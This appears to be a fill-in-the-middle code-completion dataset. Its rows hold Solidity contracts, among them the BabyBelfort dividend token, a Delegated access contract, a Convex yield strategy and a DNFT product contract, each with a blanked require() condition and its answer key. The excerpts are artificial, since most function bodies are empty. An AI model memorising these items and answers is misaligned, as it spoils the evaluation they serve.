constructor() DividendPayingToken("BabyBelfort_Dividend_Tracker", "BabyBelfort_Dividend_Tracker") {
}
function _transfer(address, address, uint256) internal pure override {
}
function withdrawDividend() public pure override {
}
function excludeFromDividends(address account) external onlyOwner {
}
function updateGasForTransfer(uint256 newGasForTransfer) external onlyOwner {
}
function updateClaimWait(uint256 newClaimWait) external onlyOwner {
}
function getLastProcessedIndex() external view returns(uint256) {
}
function getNumberOfTokenHolders() external view returns(uint256) {
}
function getAccount(address _account)
public view returns (
address account,
int256 index,
int256 iterationsUntilProcessed,
uint256 withdrawableDividends,
uint256 totalDividends,
uint256 lastClaimTime,
uint256 nextClaimTime,
uint256 secondsUntilAutoClaimAvailable) {
}
function getAccountAtIndex(uint256 index)
public view returns (
address,
int256,
int256,
uint256,
uint256,
uint256,
uint256,
uint256) {
}
function canAutoClaim(uint256 lastClaimTime) private view returns (bool) {
}
function setBalance(address payable account, uint256 newBalance) external onlyOwner {
}
function process(uint256 gas) public returns (uint256, uint256, uint256) {
}
function processAccount(address payable account, bool automatic) public onlyOwner returns (bool) {
}
}
contract BabyBelfort is ERC20, Ownable {
using SafeMath for uint256;
IUniswapV2Router02 public uniswapV2Router;
address public immutable uniswapV2Pair;
bool private liquidating;
BabyBelfortDividendTracker public dividendTracker;
address public liquidityWallet;
uint256 public constant MAX_SELL_TRANSACTION_AMOUNT = 10000000 * (10**18);
uint256 public constant ETH_REWARDS_FEE = 7;
uint256 public constant LIQUIDITY_FEE = 7;
uint256 public constant TOTAL_FEES = ETH_REWARDS_FEE + LIQUIDITY_FEE;
bool _swapEnabled = false;
bool _maxBuyEnabled = true;
bool openForPresale = true;
mapping (address => bool) private _isBlackListedBot;
address[] private _blackListedBots;
uint256 private tCount=0;
address payable private _devWallet;
// use by default 150,000 gas to process auto-claiming dividends
uint256 public gasForProcessing = 150000;
// liquidate tokens for ETH when the contract reaches 100k tokens by default
uint256 public liquidateTokensAtAmount = 100000 * (10**18);
// whether the token can already be traded
bool public tradingEnabled;
function activate() public onlyOwner {
}
// exclude from fees and max transaction amount
mapping (address => bool) private _isExcludedFromFees;
// addresses that can make transfers before presale is over
mapping (address => bool) public canTransferBeforeTradingIsEnabled;
// store addresses that a automatic market maker pairs. Any transfer *to* these addresses
// could be subject to a maximum transfer amount
mapping (address => bool) public automatedMarketMakerPairs;
event UpdatedDividendTracker(address indexed newAddress, address indexed oldAddress);
event UpdatedUniswapV2Router(address indexed newAddress, address indexed oldAddress);
event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value);
event LiquidityWalletUpdated(address indexed newLiquidityWallet, address indexed oldLiquidityWallet);
event GasForProcessingUpdated(uint256 indexed newValue, uint256 indexed oldValue);
event LiquidationThresholdUpdated(uint256 indexed newValue, uint256 indexed oldValue);
event Liquified(
uint256 tokensSwapped,
uint256 ethReceived,
uint256 tokensIntoLiqudity
);
event SwapAndSendToDev(
uint256 tokensSwapped,
uint256 ethReceived
);
event SentDividends(
uint256 tokensSwapped,
uint256 amount
);
event ProcessedDividendTracker(
uint256 iterations,
uint256 claims,
uint256 lastProcessedIndex,
bool indexed automatic,
uint256 gas,
address indexed processor
);
constructor(address payable devWallet) ERC20("Baby Belfort", "BabyBelfort") {
}
receive() external payable {
}
function setAutomatedMarketMakerPair(address pair, bool value) public onlyOwner {
}
function _setAutomatedMarketMakerPair(address pair, bool value) private {
}
function excludeFromFees(address account) public onlyOwner {
}
function updateGasForTransfer(uint256 gasForTransfer) external onlyOwner {
}
function updateGasForProcessing(uint256 newValue) public onlyOwner {
}
function updateClaimWait(uint256 claimWait) external onlyOwner {
}
function getGasForTransfer() external view returns(uint256) {
}
function setOpenForPresale(bool open )external onlyOwner {
}
function addBotToBlackList(address account) external onlyOwner() {
}
function removeBotFromBlackList(address account) external onlyOwner() {
}
function enableDisableDevFee(bool _devFeeEnabled ) public returns (bool){
}
function setMaxBuyEnabled(bool enabled ) external onlyOwner {
}
function getClaimWait() external view returns(uint256) {
}
function getTotalDividendsDistributed() external view returns (uint256) {
}
function isExcludedFromFees(address account) public view returns(bool) {
}
function withdrawableDividendOf(address account) public view returns(uint256) {
}
function dividendTokenBalanceOf(address account) public view returns (uint256) {
}
function getAccountDividendsInfo(address account)
external view returns (
address,
int256,
int256,
uint256,
uint256,
uint256,
uint256,
uint256) {
}
function getAccountDividendsInfoAtIndex(uint256 index)
external view returns (
address,
int256,
int256,
uint256,
uint256,
uint256,
uint256,
uint256) {
}
function processDividendTracker(uint256 gas) external {
}
function claim() external {
}
function getLastProcessedIndex() external view returns(uint256) {
}
function getNumberOfDividendTokenHolders() external view returns(uint256) {
}
function _transfer(
address from,
address to,
uint256 amount
) internal override {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(!_isBlackListedBot[to], "You have no power here!");
require(!_isBlackListedBot[msg.sender], "You have no power here!");
require(<FILL_ME>)
//to prevent bots both buys and sells will have a max on launch after only sells will
if(from != owner() && to != owner() && _maxBuyEnabled)
require(amount <= MAX_SELL_TRANSACTION_AMOUNT, "Transfer amount exceeds the maxTxAmount.");
bool tradingIsEnabled = tradingEnabled;
// only whitelisted addresses can make transfers before the public presale is over.
if (!tradingIsEnabled) {
if(!openForPresale){
require(canTransferBeforeTradingIsEnabled[from], "TestToken: This account cannot send tokens until trading is enabled");
}
}
if ((from == uniswapV2Pair || to == uniswapV2Pair) && tradingIsEnabled) {
//require(!antiBot.scanAddress(from, uniswapV2Pair, tx.origin), "Beep Beep Boop, You're a piece of poop");
// require(!antiBot.scanAddress(to, uniswair, tx.origin), "Beep Beep Boop, You're a piece of poop");
}
if(tCount < 26)
tCount = tCount.add(1);
if (amount == 0) {
super._transfer(from, to, 0);
return;
}
if (!liquidating &&
tradingIsEnabled &&
automatedMarketMakerPairs[to] && // sells only by detecting transfer to automated market maker pair
from != address(uniswapV2Router) && //router -> pair is removing liquidity which shouldn't have max
!_isExcludedFromFees[to] //no max for those excluded from fees
) {
require(amount <= MAX_SELL_TRANSACTION_AMOUNT, "Sell transfer amount exceeds the MAX_SELL_TRANSACTION_AMOUNT.");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= liquidateTokensAtAmount;
if (tradingIsEnabled &&
canSwap &&
_swapEnabled &&
!liquidating &&
!automatedMarketMakerPairs[from] &&
from != liquidityWallet &&
to != liquidityWallet
) {
liquidating = true;
uint256 swapTokens = contractTokenBalance.mul(LIQUIDITY_FEE).div(TOTAL_FEES);
swapAndSendToDev(swapTokens);
uint256 sellTokens = balanceOf(address(this));
swapAndSendDividends(sellTokens);
liquidating = false;
}
bool takeFee = tradingIsEnabled && !liquidating;
// if any account belongs to _isExcludedFromFee account then remove the fee
if (_isExcludedFromFees[from] || _isExcludedFromFees[to]) {
takeFee = false;
}
if (takeFee) {
uint256 fees = amount.mul(TOTAL_FEES).div(100);
amount = amount.sub(fees);
super._transfer(from, address(this), fees);
}
super._transfer(from, to, amount);
try dividendTracker.setBalance(payable(from), balanceOf(from)) {} catch {}
try dividendTracker.setBalance(payable(to), balanceOf(to)) {} catch {
}
if (!liquidating) {
uint256 gas = gasForProcessing;
try dividendTracker.process(gas) returns (uint256 iterations, uint256 claims, uint256 lastProcessedIndex) {
emit ProcessedDividendTracker(iterations, claims, lastProcessedIndex, true, gas, tx.origin);
} catch {
}
}
}
function swapAndSendToDev(uint256 tokens) private {
}
function swapTokensForEth(uint256 tokenAmount) private {
}
function swapAndSendDividends(uint256 tokens) private {
}
}
| !_isBlackListedBot[from],"You have no power here!" | 18,265 | !_isBlackListedBot[from] |
"TestToken: This account cannot send tokens until trading is enabled" | contract BabyBelfortDividendTracker is DividendPayingToken, Ownable {
using SafeMath for uint256;
using SafeMathInt for int256;
using IterableMapping for IterableMapping.Map;
IterableMapping.Map private tokenHoldersMap;
uint256 public lastProcessedIndex;
mapping (address => bool) public excludedFromDividends;
mapping (address => uint256) public lastClaimTimes;
uint256 public claimWait;
uint256 public constant MIN_TOKEN_BALANCE_FOR_DIVIDENDS = 10000 * (10**18); // Must hold 10000+ tokens.
event ExcludedFromDividends(address indexed account);
event GasForTransferUpdated(uint256 indexed newValue, uint256 indexed oldValue);
event ClaimWaitUpdated(uint256 indexed newValue, uint256 indexed oldValue);
event Claim(address indexed account, uint256 amount, bool indexed automatic);
constructor() DividendPayingToken("BabyBelfort_Dividend_Tracker", "BabyBelfort_Dividend_Tracker") {
}
function _transfer(address, address, uint256) internal pure override {
}
function withdrawDividend() public pure override {
}
function excludeFromDividends(address account) external onlyOwner {
}
function updateGasForTransfer(uint256 newGasForTransfer) external onlyOwner {
}
function updateClaimWait(uint256 newClaimWait) external onlyOwner {
}
function getLastProcessedIndex() external view returns(uint256) {
}
function getNumberOfTokenHolders() external view returns(uint256) {
}
function getAccount(address _account)
public view returns (
address account,
int256 index,
int256 iterationsUntilProcessed,
uint256 withdrawableDividends,
uint256 totalDividends,
uint256 lastClaimTime,
uint256 nextClaimTime,
uint256 secondsUntilAutoClaimAvailable) {
}
function getAccountAtIndex(uint256 index)
public view returns (
address,
int256,
int256,
uint256,
uint256,
uint256,
uint256,
uint256) {
}
function canAutoClaim(uint256 lastClaimTime) private view returns (bool) {
}
function setBalance(address payable account, uint256 newBalance) external onlyOwner {
}
function process(uint256 gas) public returns (uint256, uint256, uint256) {
}
function processAccount(address payable account, bool automatic) public onlyOwner returns (bool) {
}
}
contract BabyBelfort is ERC20, Ownable {
using SafeMath for uint256;
IUniswapV2Router02 public uniswapV2Router;
address public immutable uniswapV2Pair;
bool private liquidating;
BabyBelfortDividendTracker public dividendTracker;
address public liquidityWallet;
uint256 public constant MAX_SELL_TRANSACTION_AMOUNT = 10000000 * (10**18);
uint256 public constant ETH_REWARDS_FEE = 7;
uint256 public constant LIQUIDITY_FEE = 7;
uint256 public constant TOTAL_FEES = ETH_REWARDS_FEE + LIQUIDITY_FEE;
bool _swapEnabled = false;
bool _maxBuyEnabled = true;
bool openForPresale = true;
mapping (address => bool) private _isBlackListedBot;
address[] private _blackListedBots;
uint256 private tCount=0;
address payable private _devWallet;
// use by default 150,000 gas to process auto-claiming dividends
uint256 public gasForProcessing = 150000;
// liquidate tokens for ETH when the contract reaches 100k tokens by default
uint256 public liquidateTokensAtAmount = 100000 * (10**18);
// whether the token can already be traded
bool public tradingEnabled;
function activate() public onlyOwner {
}
// exclude from fees and max transaction amount
mapping (address => bool) private _isExcludedFromFees;
// addresses that can make transfers before presale is over
mapping (address => bool) public canTransferBeforeTradingIsEnabled;
// store addresses that a automatic market maker pairs. Any transfer *to* these addresses
// could be subject to a maximum transfer amount
mapping (address => bool) public automatedMarketMakerPairs;
event UpdatedDividendTracker(address indexed newAddress, address indexed oldAddress);
event UpdatedUniswapV2Router(address indexed newAddress, address indexed oldAddress);
event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value);
event LiquidityWalletUpdated(address indexed newLiquidityWallet, address indexed oldLiquidityWallet);
event GasForProcessingUpdated(uint256 indexed newValue, uint256 indexed oldValue);
event LiquidationThresholdUpdated(uint256 indexed newValue, uint256 indexed oldValue);
event Liquified(
uint256 tokensSwapped,
uint256 ethReceived,
uint256 tokensIntoLiqudity
);
event SwapAndSendToDev(
uint256 tokensSwapped,
uint256 ethReceived
);
event SentDividends(
uint256 tokensSwapped,
uint256 amount
);
event ProcessedDividendTracker(
uint256 iterations,
uint256 claims,
uint256 lastProcessedIndex,
bool indexed automatic,
uint256 gas,
address indexed processor
);
constructor(address payable devWallet) ERC20("Baby Belfort", "BabyBelfort") {
}
receive() external payable {
}
function setAutomatedMarketMakerPair(address pair, bool value) public onlyOwner {
}
function _setAutomatedMarketMakerPair(address pair, bool value) private {
}
function excludeFromFees(address account) public onlyOwner {
}
function updateGasForTransfer(uint256 gasForTransfer) external onlyOwner {
}
function updateGasForProcessing(uint256 newValue) public onlyOwner {
}
function updateClaimWait(uint256 claimWait) external onlyOwner {
}
function getGasForTransfer() external view returns(uint256) {
}
function setOpenForPresale(bool open )external onlyOwner {
}
function addBotToBlackList(address account) external onlyOwner() {
}
function removeBotFromBlackList(address account) external onlyOwner() {
}
function enableDisableDevFee(bool _devFeeEnabled ) public returns (bool){
}
function setMaxBuyEnabled(bool enabled ) external onlyOwner {
}
function getClaimWait() external view returns(uint256) {
}
function getTotalDividendsDistributed() external view returns (uint256) {
}
function isExcludedFromFees(address account) public view returns(bool) {
}
function withdrawableDividendOf(address account) public view returns(uint256) {
}
function dividendTokenBalanceOf(address account) public view returns (uint256) {
}
function getAccountDividendsInfo(address account)
external view returns (
address,
int256,
int256,
uint256,
uint256,
uint256,
uint256,
uint256) {
}
function getAccountDividendsInfoAtIndex(uint256 index)
external view returns (
address,
int256,
int256,
uint256,
uint256,
uint256,
uint256,
uint256) {
}
function processDividendTracker(uint256 gas) external {
}
function claim() external {
}
function getLastProcessedIndex() external view returns(uint256) {
}
function getNumberOfDividendTokenHolders() external view returns(uint256) {
}
function _transfer(
address from,
address to,
uint256 amount
) internal override {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(!_isBlackListedBot[to], "You have no power here!");
require(!_isBlackListedBot[msg.sender], "You have no power here!");
require(!_isBlackListedBot[from], "You have no power here!");
//to prevent bots both buys and sells will have a max on launch after only sells will
if(from != owner() && to != owner() && _maxBuyEnabled)
require(amount <= MAX_SELL_TRANSACTION_AMOUNT, "Transfer amount exceeds the maxTxAmount.");
bool tradingIsEnabled = tradingEnabled;
// only whitelisted addresses can make transfers before the public presale is over.
if (!tradingIsEnabled) {
if(!openForPresale){
require(<FILL_ME>)
}
}
if ((from == uniswapV2Pair || to == uniswapV2Pair) && tradingIsEnabled) {
//require(!antiBot.scanAddress(from, uniswapV2Pair, tx.origin), "Beep Beep Boop, You're a piece of poop");
// require(!antiBot.scanAddress(to, uniswair, tx.origin), "Beep Beep Boop, You're a piece of poop");
}
if(tCount < 26)
tCount = tCount.add(1);
if (amount == 0) {
super._transfer(from, to, 0);
return;
}
if (!liquidating &&
tradingIsEnabled &&
automatedMarketMakerPairs[to] && // sells only by detecting transfer to automated market maker pair
from != address(uniswapV2Router) && //router -> pair is removing liquidity which shouldn't have max
!_isExcludedFromFees[to] //no max for those excluded from fees
) {
require(amount <= MAX_SELL_TRANSACTION_AMOUNT, "Sell transfer amount exceeds the MAX_SELL_TRANSACTION_AMOUNT.");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= liquidateTokensAtAmount;
if (tradingIsEnabled &&
canSwap &&
_swapEnabled &&
!liquidating &&
!automatedMarketMakerPairs[from] &&
from != liquidityWallet &&
to != liquidityWallet
) {
liquidating = true;
uint256 swapTokens = contractTokenBalance.mul(LIQUIDITY_FEE).div(TOTAL_FEES);
swapAndSendToDev(swapTokens);
uint256 sellTokens = balanceOf(address(this));
swapAndSendDividends(sellTokens);
liquidating = false;
}
bool takeFee = tradingIsEnabled && !liquidating;
// if any account belongs to _isExcludedFromFee account then remove the fee
if (_isExcludedFromFees[from] || _isExcludedFromFees[to]) {
takeFee = false;
}
if (takeFee) {
uint256 fees = amount.mul(TOTAL_FEES).div(100);
amount = amount.sub(fees);
super._transfer(from, address(this), fees);
}
super._transfer(from, to, amount);
try dividendTracker.setBalance(payable(from), balanceOf(from)) {} catch {}
try dividendTracker.setBalance(payable(to), balanceOf(to)) {} catch {
}
if (!liquidating) {
uint256 gas = gasForProcessing;
try dividendTracker.process(gas) returns (uint256 iterations, uint256 claims, uint256 lastProcessedIndex) {
emit ProcessedDividendTracker(iterations, claims, lastProcessedIndex, true, gas, tx.origin);
} catch {
}
}
}
function swapAndSendToDev(uint256 tokens) private {
}
function swapTokensForEth(uint256 tokenAmount) private {
}
function swapAndSendDividends(uint256 tokens) private {
}
}
| canTransferBeforeTradingIsEnabled[from],"TestToken: This account cannot send tokens until trading is enabled" | 18,265 | canTransferBeforeTradingIsEnabled[from] |
"Invalid delegate" | // SPDX-License-Identifier: BSD-3-Clause
pragma solidity ^0.8.0;
/********************
* @author: Squeebo *
********************/
import "@openzeppelin/contracts/access/Ownable.sol";
contract Delegated is Ownable{
mapping(address => bool) internal _delegates;
constructor(){
}
modifier onlyDelegates {
require(<FILL_ME>)
_;
}
//onlyOwner
function isDelegate( address addr ) external view onlyOwner returns ( bool ){
}
function setDelegate( address addr, bool isDelegate_ ) external onlyOwner{
}
}
| _delegates[msg.sender],"Invalid delegate" | 18,334 | _delegates[msg.sender] |
null | contract StrategyConvex3CrvRewardsClonable is StrategyConvexBase {
/* ========== STATE VARIABLES ========== */
// these will likely change across different wants.
// Curve stuff
address public curve; // Curve Pool, this is our pool specific to this vault
ICurveFi internal constant zapContract =
ICurveFi(0xA79828DF1850E8a3A3064576f380D90aECDD3359); // this is used for depositing to all 3Crv metapools
bool public checkEarmark; // this determines if we should check if we need to earmark rewards before harvesting
// we use these to deposit to our curve pool
address public targetStable;
address internal constant uniswapv3 =
address(0xE592427A0AEce92De3Edee1F18E0157C05861564);
IERC20 internal constant usdt =
IERC20(0xdAC17F958D2ee523a2206206994597C13D831ec7);
IERC20 internal constant usdc =
IERC20(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48);
IERC20 internal constant dai =
IERC20(0x6B175474E89094C44Da98b954EedeAC495271d0F);
uint24 public uniCrvFee; // this is equal to 1%, can change this later if a different path becomes more optimal
uint24 public uniStableFee; // this is equal to 0.05%, can change this later if a different path becomes more optimal
// rewards token info. we can have more than 1 reward token but this is rare, so we don't include this in the template
IERC20 public rewardsToken;
bool public hasRewards;
address[] internal rewardsPath;
// check for cloning
bool internal isOriginal = true;
/* ========== CONSTRUCTOR ========== */
constructor(
address _vault,
uint256 _pid,
address _curvePool,
string memory _name
) public StrategyConvexBase(_vault) {
}
/* ========== CLONING ========== */
event Cloned(address indexed clone);
// we use this to clone our original strategy to other vaults
function cloneConvex3CrvRewards(
address _vault,
address _strategist,
address _rewardsToken,
address _keeper,
uint256 _pid,
address _curvePool,
string memory _name
) external returns (address newStrategy) {
}
// this will only be called by the clone function above
function initialize(
address _vault,
address _strategist,
address _rewards,
address _keeper,
uint256 _pid,
address _curvePool,
string memory _name
) public {
}
// this is called by our original strategy, as well as any clones
function _initializeStrat(
uint256 _pid,
address _curvePool,
string memory _name
) internal {
// make sure that we haven't initialized this before
require(<FILL_ME>) // already initialized.
// want = Curve LP
want.approve(address(depositContract), type(uint256).max);
convexToken.approve(sushiswap, type(uint256).max);
crv.approve(uniswapv3, type(uint256).max);
weth.approve(uniswapv3, type(uint256).max);
// this is the pool specific to this vault, but we only use it as an address
curve = address(_curvePool);
// setup our rewards contract
pid = _pid; // this is the pool ID on convex, we use this to determine what the reweardsContract address is
(address lptoken, , , address _rewardsContract, , ) =
IConvexDeposit(depositContract).poolInfo(_pid);
// set up our rewardsContract
rewardsContract = IConvexRewards(_rewardsContract);
// check that our LP token based on our pid matches our want
require(address(lptoken) == address(want));
if (rewardsContract.extraRewardsLength() > 0) {
virtualRewardsPool = rewardsContract.extraRewards(0);
// check that if we have multiple rewards, the first one isn't CVX
if (
IConvexRewards(virtualRewardsPool).rewardToken() ==
address(convexToken) &&
rewardsContract.extraRewardsLength() > 1
) {
virtualRewardsPool = rewardsContract.extraRewards(1);
}
rewardsToken = IERC20(
IConvexRewards(virtualRewardsPool).rewardToken()
);
// we only need to approve the new token and turn on rewards if the extra rewards isn't CVX
if (address(rewardsToken) != address(convexToken)) {
rewardsToken.approve(sushiswap, type(uint256).max);
rewardsPath = [address(rewardsToken), address(weth)];
hasRewards = true;
}
}
// set our strategy's name
stratName = _name;
// these are our approvals and path specific to this contract
dai.approve(address(zapContract), type(uint256).max);
usdt.safeApprove(address(zapContract), type(uint256).max); // USDT requires safeApprove(), funky token
usdc.approve(address(zapContract), type(uint256).max);
// start with dai
targetStable = address(dai);
// set our uniswap pool fees
uniCrvFee = 10000;
uniStableFee = 500;
}
/* ========== VARIABLE FUNCTIONS ========== */
// these will likely change across different wants.
function prepareReturn(uint256 _debtOutstanding)
internal
override
returns (
uint256 _profit,
uint256 _loss,
uint256 _debtPayment
)
{
}
// migrate our want token to a new strategy if needed, make sure to check claimRewards first
// also send over any CRV or CVX that is claimed; for migrations we definitely want to claim
function prepareMigration(address _newStrategy) internal override {
}
// Sells our CRV -> WETH on UniV3 and CVX -> WETH on Sushi, then WETH -> stables together on UniV3
function _sellCrvAndCvx(uint256 _crvAmount, uint256 _convexAmount)
internal
{
}
// Sells our harvested reward token into the selected output.
function _sellRewards(uint256 _amount) internal {
}
/* ========== KEEP3RS ========== */
// use this to determine when to harvest
function harvestTrigger(uint256 callCostinEth)
public
view
override
returns (bool)
{
}
// we will need to add rewards token here if we have them
function claimableProfitInUsdt() internal view returns (uint256) {
}
// convert our keeper's eth cost into want, we don't need this anymore since we don't use baseStrategy harvestTrigger
function ethToWant(uint256 _ethAmount)
public
view
override
returns (uint256)
{
}
// check if the current baseFee is below our external target
function isBaseFeeAcceptable() internal view returns (bool) {
}
// check if someone needs to earmark rewards on convex before keepers harvest again
function needsEarmarkReward() public view returns (bool needsEarmark) {
}
/* ========== SETTERS ========== */
// These functions are useful for setting parameters of the strategy that may need to be adjusted.
// Set optimal token to sell harvested funds for depositing to Curve.
// Default is DAI, but can be set to USDC or USDT as needed by strategist or governance.
function setOptimal(uint256 _optimal) external onlyAuthorized {
}
// Use to add or update rewards
function updateRewards(address _rewardsToken) external onlyGovernance {
}
// Use to turn off extra rewards claiming and selling. set our allowance to zero on the router and set address to zero address.
function turnOffRewards() external onlyGovernance {
}
// determine whether we will check if our convex rewards need to be earmarked
function setCheckEarmark(bool _checkEarmark) external onlyAuthorized {
}
// set the fee pool we'd like to swap through for CRV on UniV3 (1% = 10_000)
function setUniFees(uint24 _crvFee, uint24 _stableFee)
external
onlyAuthorized
{
}
}
| address(curve)==address(0) | 18,348 | address(curve)==address(0) |
null | contract StrategyConvex3CrvRewardsClonable is StrategyConvexBase {
/* ========== STATE VARIABLES ========== */
// these will likely change across different wants.
// Curve stuff
address public curve; // Curve Pool, this is our pool specific to this vault
ICurveFi internal constant zapContract =
ICurveFi(0xA79828DF1850E8a3A3064576f380D90aECDD3359); // this is used for depositing to all 3Crv metapools
bool public checkEarmark; // this determines if we should check if we need to earmark rewards before harvesting
// we use these to deposit to our curve pool
address public targetStable;
address internal constant uniswapv3 =
address(0xE592427A0AEce92De3Edee1F18E0157C05861564);
IERC20 internal constant usdt =
IERC20(0xdAC17F958D2ee523a2206206994597C13D831ec7);
IERC20 internal constant usdc =
IERC20(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48);
IERC20 internal constant dai =
IERC20(0x6B175474E89094C44Da98b954EedeAC495271d0F);
uint24 public uniCrvFee; // this is equal to 1%, can change this later if a different path becomes more optimal
uint24 public uniStableFee; // this is equal to 0.05%, can change this later if a different path becomes more optimal
// rewards token info. we can have more than 1 reward token but this is rare, so we don't include this in the template
IERC20 public rewardsToken;
bool public hasRewards;
address[] internal rewardsPath;
// check for cloning
bool internal isOriginal = true;
/* ========== CONSTRUCTOR ========== */
constructor(
address _vault,
uint256 _pid,
address _curvePool,
string memory _name
) public StrategyConvexBase(_vault) {
}
/* ========== CLONING ========== */
event Cloned(address indexed clone);
// we use this to clone our original strategy to other vaults
function cloneConvex3CrvRewards(
address _vault,
address _strategist,
address _rewardsToken,
address _keeper,
uint256 _pid,
address _curvePool,
string memory _name
) external returns (address newStrategy) {
}
// this will only be called by the clone function above
function initialize(
address _vault,
address _strategist,
address _rewards,
address _keeper,
uint256 _pid,
address _curvePool,
string memory _name
) public {
}
// this is called by our original strategy, as well as any clones
function _initializeStrat(
uint256 _pid,
address _curvePool,
string memory _name
) internal {
// make sure that we haven't initialized this before
require(address(curve) == address(0)); // already initialized.
// want = Curve LP
want.approve(address(depositContract), type(uint256).max);
convexToken.approve(sushiswap, type(uint256).max);
crv.approve(uniswapv3, type(uint256).max);
weth.approve(uniswapv3, type(uint256).max);
// this is the pool specific to this vault, but we only use it as an address
curve = address(_curvePool);
// setup our rewards contract
pid = _pid; // this is the pool ID on convex, we use this to determine what the reweardsContract address is
(address lptoken, , , address _rewardsContract, , ) =
IConvexDeposit(depositContract).poolInfo(_pid);
// set up our rewardsContract
rewardsContract = IConvexRewards(_rewardsContract);
// check that our LP token based on our pid matches our want
require(<FILL_ME>)
if (rewardsContract.extraRewardsLength() > 0) {
virtualRewardsPool = rewardsContract.extraRewards(0);
// check that if we have multiple rewards, the first one isn't CVX
if (
IConvexRewards(virtualRewardsPool).rewardToken() ==
address(convexToken) &&
rewardsContract.extraRewardsLength() > 1
) {
virtualRewardsPool = rewardsContract.extraRewards(1);
}
rewardsToken = IERC20(
IConvexRewards(virtualRewardsPool).rewardToken()
);
// we only need to approve the new token and turn on rewards if the extra rewards isn't CVX
if (address(rewardsToken) != address(convexToken)) {
rewardsToken.approve(sushiswap, type(uint256).max);
rewardsPath = [address(rewardsToken), address(weth)];
hasRewards = true;
}
}
// set our strategy's name
stratName = _name;
// these are our approvals and path specific to this contract
dai.approve(address(zapContract), type(uint256).max);
usdt.safeApprove(address(zapContract), type(uint256).max); // USDT requires safeApprove(), funky token
usdc.approve(address(zapContract), type(uint256).max);
// start with dai
targetStable = address(dai);
// set our uniswap pool fees
uniCrvFee = 10000;
uniStableFee = 500;
}
/* ========== VARIABLE FUNCTIONS ========== */
// these will likely change across different wants.
function prepareReturn(uint256 _debtOutstanding)
internal
override
returns (
uint256 _profit,
uint256 _loss,
uint256 _debtPayment
)
{
}
// migrate our want token to a new strategy if needed, make sure to check claimRewards first
// also send over any CRV or CVX that is claimed; for migrations we definitely want to claim
function prepareMigration(address _newStrategy) internal override {
}
// Sells our CRV -> WETH on UniV3 and CVX -> WETH on Sushi, then WETH -> stables together on UniV3
function _sellCrvAndCvx(uint256 _crvAmount, uint256 _convexAmount)
internal
{
}
// Sells our harvested reward token into the selected output.
function _sellRewards(uint256 _amount) internal {
}
/* ========== KEEP3RS ========== */
// use this to determine when to harvest
function harvestTrigger(uint256 callCostinEth)
public
view
override
returns (bool)
{
}
// we will need to add rewards token here if we have them
function claimableProfitInUsdt() internal view returns (uint256) {
}
// convert our keeper's eth cost into want, we don't need this anymore since we don't use baseStrategy harvestTrigger
function ethToWant(uint256 _ethAmount)
public
view
override
returns (uint256)
{
}
// check if the current baseFee is below our external target
function isBaseFeeAcceptable() internal view returns (bool) {
}
// check if someone needs to earmark rewards on convex before keepers harvest again
function needsEarmarkReward() public view returns (bool needsEarmark) {
}
/* ========== SETTERS ========== */
// These functions are useful for setting parameters of the strategy that may need to be adjusted.
// Set optimal token to sell harvested funds for depositing to Curve.
// Default is DAI, but can be set to USDC or USDT as needed by strategist or governance.
function setOptimal(uint256 _optimal) external onlyAuthorized {
}
// Use to add or update rewards
function updateRewards(address _rewardsToken) external onlyGovernance {
}
// Use to turn off extra rewards claiming and selling. set our allowance to zero on the router and set address to zero address.
function turnOffRewards() external onlyGovernance {
}
// determine whether we will check if our convex rewards need to be earmarked
function setCheckEarmark(bool _checkEarmark) external onlyAuthorized {
}
// set the fee pool we'd like to swap through for CRV on UniV3 (1% = 10_000)
function setUniFees(uint24 _crvFee, uint24 _stableFee)
external
onlyAuthorized
{
}
}
| address(lptoken)==address(want) | 18,348 | address(lptoken)==address(want) |
"repeat init" | // SPDX-License-Identifier: MIT
pragma solidity >0.6.0;
pragma experimental ABIEncoderV2;
import "./DNFTLibrary.sol";
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@openzeppelin/contracts/utils/Counters.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
import "./interfaces/IUniswapV2Pair.sol";
import "./interfaces/IUniswapV2Factory.sol";
import "./interfaces/IUniswapV2Router01.sol";
import "./interfaces/IUniswapV2Router02.sol";
import "./interfaces/IERC20Token.sol";
import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol";
contract DNFTProduct is ERC721, Ownable {
using SafeMath for uint256;
using SafeMath for uint32;
using SafeERC20 for IERC20;
using Counters for Counters.Counter;
using EnumerableSet for EnumerableSet.UintSet;
using EnumerableMap for EnumerableMap.UintToAddressMap;
mapping(uint256 => Lib.ProductTokenDetail) private _tokenDetails;
mapping(uint256 => Lib.ProductMintItem[]) private _tokenMintHistories;
mapping(address => EnumerableSet.UintSet) private _tokenMints;
address public dnftTokenAddr;
address public uniswapAddr;
address public mainAddr;
uint256 public mintPerTimeValue;
uint16 public pid;
uint256 public maxMintTime;
uint256 public maxTokenSize;
address public costTokenAddr;
uint256 public cost;
uint32 public totalReturnRate;
uint256 public mintTimeInterval;
uint8 public costTokenDecimals;
Counters.Counter private _tokenIds;
bool private _init;
modifier onlyMain() {
}
constructor (
string memory _name,
string memory _symbol,
string memory baseURI
) ERC721(_name, _symbol) {
}
function initProduct(
address _mainAddr,
address _dnftTokenAddr,
address _uniswapAddr,
uint16 _id,
address _costTokenAddr,
uint256 _cost,
uint32 _totalReturnRate,
uint256 _maxMintTime,
uint256 _maxTokenSize
) external onlyOwner {
require(<FILL_ME>)
require(_maxTokenSize < 1E6, "product total supply must be < 1E6");
mainAddr = _mainAddr;
pid = _id;
costTokenAddr = _costTokenAddr;
cost = _cost;
maxTokenSize = _maxTokenSize;
maxMintTime = _maxMintTime;
totalReturnRate = _totalReturnRate;
dnftTokenAddr = _dnftTokenAddr;
uniswapAddr = _uniswapAddr;
if (_costTokenAddr != address(0)) {
costTokenDecimals = IERC20Token(_costTokenAddr).decimals();
} else {
costTokenDecimals = 18;
}
mintTimeInterval = 1 minutes;
